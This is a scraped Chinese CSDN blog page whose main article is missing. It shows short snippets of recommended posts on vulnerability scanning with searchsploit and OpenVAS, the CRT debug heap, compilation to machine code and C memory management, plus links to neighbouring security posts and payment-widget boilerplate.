漏洞扫描 查看漏洞命令:searchsploit tomcat (右边是漏洞使用说明书的路径) 安装openvas漏洞扫描: 下载安装包:apt-get install openvas 安装:openvas-setup 安装nessus: http://www.tenable.com/products/nessus/select-your-operating-system • 安装...

qq_40237472的博客 1259

CRT 调试堆

本节内容内存管理和调试堆 描述堆函数的“Debug”版本。这些函数解决两个最难处理的内存分配问题:改写已分配缓冲区的结尾和内存泄漏(当不再需要分配后未能释放它们)。 调试堆中的块类型 描述在调试堆中内存块所分配到的五种分配类型。出于泄漏检测和状态报告的目的,以不同方式对这些分配类型进行跟踪和报告。 调试堆 提供有关使用调试堆的信息。信息包括:哪些调用用于“Debug”版本,释放内存块

ugg的专栏 5478

计算机系统2(二):程序的机器级表示

1、高级程序代码转为机器代码 预处理:在高级语言源程序中插入所有用#include命令指定的文件和用#define声明指定的宏。 编译:将预处理后的源程序文件编译生成相应的汇编语言程序。 汇编:由汇编程序将汇编语言源程序文件转换为可重定位的机器语言目标代码文件。 链接:由链接器将多个可重定位的机器语言目标文件以及库例程(如printf()库函数)链接起来,生成最终的可执行目标文件。 2、GCC使用 ...

weixin_44164489的博客 1962

c语言深入解析指针与内存管理实战指南

与`malloc`不同,`calloc`会将分配的内存块中的所有位初始化为零。` 函数用于释放之前通过`malloc`、`calloc`或`realloc`分配的内存。关键点是:只能释放动态分配的内存,不能对同一个指针`free`两次,释放后应将指针置为`NULL`以避免“悬空指针”。而通过解引用运算符``,可以访问指针所指向地址的值,如`p`。2. 检查分配成功:在解引用动态分配的指针前,检查`malloc/calloc/realloc`的返回值是否为`NULL`。指向已被释放的内存的指针称为悬空指针。

pmrplc的博客 334
上一篇: 【原理】浅析格式化串漏洞
下一篇: 【原理】UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.
freexploit
博客等级 码龄22年 315粉丝 778原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值